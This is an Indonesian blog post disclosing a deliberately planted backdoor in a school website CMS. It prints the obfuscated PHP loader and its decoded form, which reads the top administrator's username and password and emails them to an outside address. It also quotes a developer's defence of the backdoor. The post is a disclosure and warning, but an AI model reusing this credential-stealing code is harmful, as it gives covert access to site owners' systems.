Kali ini kami ingin membongkar skandal perogramer CMS Balitbang yang
di gunakan oleh banyak lembaga pendidikan SD,SMP dan SMA/K, Sebuah
sistem Model Website Sekolah yg di rancang oleh kajianwebsite.org dengan
Balitbang Kemdiknas RI , hingga saat ini yang menggunakan sistem tsb
berkisar 100 ribu lebih lembaga pendidikan baik SD,SMP dan SMA/K.
Awal
cerita rekan kami sebut saja "Mawar" dari salah satu lembaga pendidikan
ingin meningkatkan IT di lembaganya salah satunya membangun sebuah
website resmi. Dari informasi yg kami dapat Mawar di tawari untuk
menggunakan sistem CMS Balitbang tsb karena pemakainya sudah sangat
banyak dan ada pelatihanya oleh petinggi di lembaga tsb. Mawarpun
kemudian konsultasi dengan kami bagus atau tidak sistem tsb di gunakan.
Kamipun
mulai menacari tahu tentang sistem CMS Balitbang tsb dari berbagai
sumber dan di dapat banyak sekali penggunaya di seluruh Indonesia dan
kamipun melihat ada pelatihanya juga kami berpikir wajarlah itu sistem
yg bangun sekelas Kementrian, dengan keyakinan hal tsb kamipun mulai
mencari dimana bisa mendapatkan CMS Balitbang tsb akhirnya ketemu dan
kami download versi terbarunya "CMS Balitbang 3.5.2".
Kami mulai
membentuk tim di medan terdiri dari 5 anggota, kita semua sepakat akan
melakukan analisa 1 hari dengan sistem tsb. Hari berikutnya pun tiba,
semua anggota sudah siap menyapaikan hasilnya.
1. Di temukan sebuah bug upload yg sangat berbahaya di versi sebelumnya versi 3.4
2.
Ini yg kami tidak habis pikir, terdapat celah yg sengaja di buat oleh
sang programer di semua versi termasuk versi CMS Balitbang 3.5.2.
Pembahasan:
1.
Masalah bug itu wajar namanya sistem tidak ada yg sempurna dan walau
sempat menjadi target oleh kawan2 yg jahil untuk melakukan hacking di
sistem tsb "anda bisa cek di google banyak sekali tutor hack sistem tsb"
tapi masalah bug ini selesai setelah di rilis versi terbarunya.
2.
Hal yg paling kami sorot adalah hal yg ke dua ini tentang penanaman
backdor/celah oleh sang programer, sebenarnya kami sering menumukan hal
seperti ini di banyak CMS yg pernah kami teliti, tapi yg membuat kami
mengelus dada adalah ini sistem yg di rancang bersama Kemdiknas RI.
Hal Teknik :
Jadi
inti nya di sistem tsb telah di taruh sebuah file yg di rancang untuk
mengirim User dan Password dari admin yg memakai sistem tsb ke salah
satu email.
Kami sebut saja filenya bernama "admin2.php" di letakan di folder "functions"
Kode yg terdapat dalam file tsb sebagai berikut:
=====
<?php
eval(gzinflate(base64_decode(base64_decode("RFpSSHpxTllBSVN2MHBwVnQxZ1FIbEdqWHBEQkpKTU5teEg0RVEwbXg5UFBmNEdTcXVxcitsWHNXZmU3dXB0djJXVnI4VHZQbG9JbS80UEZlNERGNzM5ZXFXZk85RUlvK2d2MTE4aHpXS3ZYcEhoeW1yWldQSjFSRUV2akpsY01aT2ZRL2FBV0xHTTNBY3o4azByQWFBQU9uV05raXFnT3pRQU5oaHlkWHgzK1BPTXVRL3NNTFo3NU5qSG9qbzdSU1FlODFMSDRxT0dpNzFDT2N3U2E2VXJTR2o3ZFVqNlhzNDdRZ1BMRklER0k1bmpxbEdxaTVhZkIrWTFDTFdja3NuNTcrdHJzNGpmNTBmSzRNL0hzaWxYVTEycW8wcmxvNFdJNVcvQUxFcVIwK2krM1B5MHRLSEMvbnRTNXVKZ3VEMmVEMXo0UjViOTdaU3NYVTJkWlVxWlR4UHpJOVBnRkErRHEwbjdsWmN4d0laTHhjMUQ2TmtvZ2hyUnc5bE01eVZSQko5SWNobytSUjRIRVVMeGNHRU5WcHI0SXovMFIxY2JzN3RHRmNaNjk2aFdLTzBaangzRWpnTDYydnlkVW8xWjFuWE5udHpnZ1JvUFBNbTVwbENseHZmZlo4b3phY1JDOEgxRmZ0RmJ4amh1VFlRMGdDdjZ6dllPSm1pOVAvM3JEdGdycWF0NHpPbmhQNUZJWlJubUZrL213aVAzd1dRL3l5NWhXYXRaNTFyYXQyWU4yQnFFSjlRK3h0Z2ZlNjJpSWlhVlliTHU3Uys0NTc5L3FTclJrMWw2N21ZVVpaZnZ4WGR3VzlzNUwzNjllV1YwMThKc0NhdW9Xb0kranIrVnBzV2JwRFU3VmMvUHhaWTVCR3VQdWlVYjVqV1BXai9CbWQ0KzJydSt2cVVsTnIvQmVtVG9FR1RGVTBSKzZoemRyRXIrUFVZL3FFbmx6V3l1TXVWY3J2TmlGL0VPTzR1ODlSUXdYTlZXK0JBWmttVUEveHNVTm85QWE1UHRLK05hNTB3QkhrVG9mN1NkUmt0VnNZWWRLdkdOVzcxT3V1VWxFRkFUSzZLTVhFR3I5bU80ZjROYWhSUVBmZW94cElHK1lQQ0xjeHpRcjdSbzNCOGQzQnRHSEx3aFVpelg0N25NdTBpSThzVlRJZ0ZQek01TUpZVEhOaE0wTXZNQmxTd3BtRmVuZ001cUx3OTc3VmFFWG5hVnpFN3NmanlYR3NFRkNXRXhDSVpNNGluUVcyOUJjYTZjK3lKZ2ZQdTdUa0VsVENkbXh3cDFCWDRrSHFEZGNqWGFGbnJ1cy9Na1V3enJNZ0laQXRHckJSSTNQZTFoV09YS3ppdklnRUxiaG1jQVdoNFZsRjA0TzlLNTNKbG41NllWL1VXM3Q3bm5WYzNQb3VpUVp0cmtINUo0QmhoZFRQdmRVOWxTTDRGVStJQXpTNVdNckdiQU03ZU5XY1c0ekNHS1FaR1V4UHZ4S283UkkzUXZZWEhEUUV5OERJQTR2S2pxNzczWFVZZTBIYkRIbWRydGszeGJGTE9yWkJlS1JMQkRLV0FQZ0o3c0xQNTcxOHo2MDdmZ0FqZEI5YVhsN0h1MkVQYnhodHhnWDZsZGEyeHlVWUtadEVFZFJUNW9XWTkvc0pVOFpTZHB0UFBKSUZXMUYxUmFrMTJnK1hUSnZKWk9HMWJpQ2d5cGR2VnVvVkkybW9lSXQ2b3A1bmNPSHJWQS9zMmVFbjhYWU44dTVFcmVHUDdCMTdCM3Q4Mk5JSXBEaGxWSkVBaXNDcTBzYm1CNFIySEliTStFSVVhT1Z4eVVSN2U5MFlJKzUvcExtNTBWdmt0U25MazNvSFE5bHFBaVdTRGtadGZicTZWQm91WXhuVEFudklCanRKR3hXaGJQYmgySWdZZ2dJbjh6Zm90U1VDYXFjQzNDMWZtTHE4Tm1rOUlzNkVKdS84WVZHWTcrYlpBR2JGMDhmMDdZc0lMTEpEVVVrTjcyUXV6eldGOGFvcFdaK3hEdEs0dG5VVnU1cVorNlE4NS9EQ3dqdkRLWE10czhMbzlmWWRCYXhCRDY1dk5IY3VSTVd6Q2RjdW9ocWpTNVJpQ0dxUFdhT05hUU5KaTRzek5OeUhOMDV4SUxYaEFnbVpSeEVRSUYyUXp3NVU5SWU5dEVmUDV3QTEwR3I3Uk1BUHczZG1YYmJ6WnBDbVgxc2pubHlJdDRvV1VmK3VKT2haYXF1K2VVU2F0OXRrbEZmQm9FMFRNRU9uK2M4eUNKcWJRMytiaUluVGNqYmhGTWdkekI1Y09wWGtsN2YwMU9McWtRaFZPQ0I3UGNaamFDZ3dwNURLWTNqWUxIdkJEcmZQeVBuajc5Ly8vbno1OCsvdi80SA=="))));
?>
=======
Terlhiat sangat jelas sang programer sengaja
merahasiakan isi kode script yg asli dengan meng'enkripsi seperti yg
terlihat di atas. Kamipun berusaha cari tahu apa yg ada di balik kode
tsb dengen mencoba mendecrypt code tsb tapi kok masih ter'encrypt
....... ?? ternyata sang programer sengaja membuat encrypt tsb samapi 7
kali perulangan :D itu mungkin di lakukan untuk mengecoh bila ada yg
ingin mendecrypt
Hasil Decrypt:
=======
include "koneksi.php";
include "fungsi_pass.php";
data = "";
$query="select
userid, count(menu) as jum from user_level group by userid order by jum
desc "; $alan=mysql_query($query) or die ("query gagal");
if($row=mysql_fetch_array($alan)){
$query2="select * from user where userid='$row[userid]' ";
$alan2=mysql_query($query2) or die ("query gagal");
$r=mysql_fetch_array($alan2);
$data .="top admin : $r[username] ----- Password : ".unhex($r[password],82)."";
}
$data .= "";
$email = unhex("64gbfc1b580c1c1bab3cb92848abfc4c0b3beb3",82);
$headers = "From: \"Komunitas $nmsekolah\" <$webmail>\r\n";
$headers .= "Content-type: text/html\r\n";
mail($email, "Komunitas $nmsekolah :: Pesan baru ::", $data, $headers);
echo "Pesan terkirim";
========
Nah itulah kode yg asli dari situ kami bisa jelasakan bahwa inti barisan kode tsb
1. Mencari data user dan password yg mempunya hak akses penuh dalam sistem tsb
2. Melakukan peracangan format email yg di sertai dari data user dan password yg di dapat tadi.
3. Menetukan email yg akan di tuju di sini email pun di ecrypt lagi :) perhatikan baris kode
-
"$email = unhex("64gbfc1b580c1c1bab3cb92848abfc4c0b3beb3",82);" di
encrypt menggunnkana fungsi "unhex" fungsi "unhex" itu pun di buat
sendiri oleh programer. Setelah kami berusaha mendercypt di hasilkan
sebuah alamat email "alanrm82@yahoo.com" itulah email tujuan nya.
4.
Melakukan perintah pengiriman format email yg tadi telah di rancang
dengan beserta ada user dan password sistem tsb ke email
"alanrm82@yahoo.com".
++++++++++++++++++++++++++++
Dengan
itu sang programer dapat setiap saat masuk ke sistem di lebih dari 100
Ribu lembaga pendidikan yg menggunakan sistem tsb secara tidak sah.
Kami
menyarankan bagi pengguna sistem CMS Balitbang yg melihat artikel ini
untuk di kroscek ulang tentang sistem yg anda gunakan mengenai privasi
dan keamanan data yg ada di Lembaga pendidikan anda.
Masuk peristiwa awal kami pun menyarakan agar Mawar rekan kami untuk tidak menggunakan sistem CMS Balitbang tsb.
Mungkin
Pesan kami buat kawan2 Programer janganlah menjatuhkan harga diri anda
sendiri denga hal2 konyol seperti kasus yg kami bahas ini.
++++++++++++++++++++++++++++++++++++
Ada Klarivikasi di komentar dari salah satu anggota tim CMS Balitbang kami masukan di sini :
---------------------------------------- 1 ---
Choirul Anam =>
"Saya
baru saja mendapatkan link pembicaraan ini dari seorang kenalan. Saya
adalah salah satu anggota team yang ikut andil dlam melahirkan CMS ini.
Saya akan klarifikasi. Teman2 mohon tidak langsung menjustifikasi
negatif tentang pemasangan backdor tersebut. Ini ada latar
belakangnya. Pada awal kelahirannya dulu CMS ini tidak hanya dipakai
oleh sekolah, tetapi dipakai juga oleh dunia bisnis, bahkan
pemasangannya dibisniskan oleh beberapa pengembang website komersial.
Kita tidak menginginkan hal ini terjadi. Maka disepakati pemasangan
backdor ini. Intinya back dor tersebut dipasang untuk pengamanan intra,
artinya jangan sampai CMS ini digunakan untuk dikomersialkan atau untuk
webiste dengan isi negatif. Kita tidak punya mahsud apa2. Tidak akan
mengambil keuntungan apapun dari pemasangan back dor tersebut. Dan perlu
teman2 ketahui, pembuatan CMS ini bertujuan untuk mempermudah sekolah
dalam membuat website, bahkan yang ikut pelatihannya akan memperoleh
domain dan hosting gratis. Itu yang dapat saya klarifikasi, semoga ada
manfaatnya, terima kasih"
Kami membalas =>
Terimakasih
bung atas atensinya klarifikasi hal ini, di sinipun kami juga tidak
ingin melakukan pemojokan kepada siapapun. Kami mengharap siapaun yng
mengembangkan sebuah sistem opensource untuk juga mengutamakan Privasi
dari pengguna sistem tsb. Mungkin ada cara lain yg bisa di lakukan
selain membuat privasi pengguna terganggu untuk mennaggulangi kasus
comersialisasi tsb. Coba kita ambil contoh terburuk bila sistem terjadi
masalah data misal manipulasi negatif, apa bukanya pihak yg menanam
backdor malah yg menjadi tujuan Fitnah. Sebelumnya terimkasih atas
Klarifikasinya bung akan kami akan masukan di note kami ini."
---------------------------------------- 2 ---
Choirul Anam =>
Sebenarnya
masalah backdor itu sudah pernah ada yang memunculkan sekitar 3 tahun
yang lalu dari Malang. Dan sudah dibicarakan dengan pihak Balitbang,
hasilnya Balitbang meminta agar backdornya tetap ada agar bisa dipakai
sebagai bahan utk memonitor jumlah pengguna CMS ini. Saya mengikuti
pengembangannya sampai versi 3.50, dilakukan pada Desember 2012. Versi
sesudahnya saya tidak ikut lagi karena kesibukan di sekolah semakin
banyak. Untuk usulnya itu, saya akan coba teruskan ke pihak Balitbang.
Terima kasih. Saya off dulu yaaa, mau berangkat ronda.
Nama Disamarkan =>
ngutip
perkataan abang developernya, "... hasilnya Balitbang meminta agar
backdornya tetap ada agar bisa dipakai sebagai bahan utk memonitor
jumlah pengguna CMS ini"
apakah memonitor pengguna cms dengan
cara mengirim user + pass admin ke email tertentu? apakah tidak ada cara
yang lebih 'terhormat'? saya bersyukur sekali malah, ada cms buatan
anak indonesia yang bisa digunakan untuk mempermudah kelancaran proses
go onlne sekolah2 di indonesia, tapi saya tidak habis pikir, kenapa bisa
hal semacam ini terpikir oleh developer2 handal? ataukah ini memang
sengaja di rencanakan / permintaan dari pihak balitbang sendiri? kita
sebagai rakyat indonesia yang mendambakan keadilan harus memulai dari
hal2 kecil seperti ini, karena kalo hal seperti ini saja tidak bisa
diselesaikan, apalagi masalah besar yang lain?
++++++++++++++++++++++++++++++++++++
source :
tipsonliner | support :
duta teknologi | blog : a
lhub Service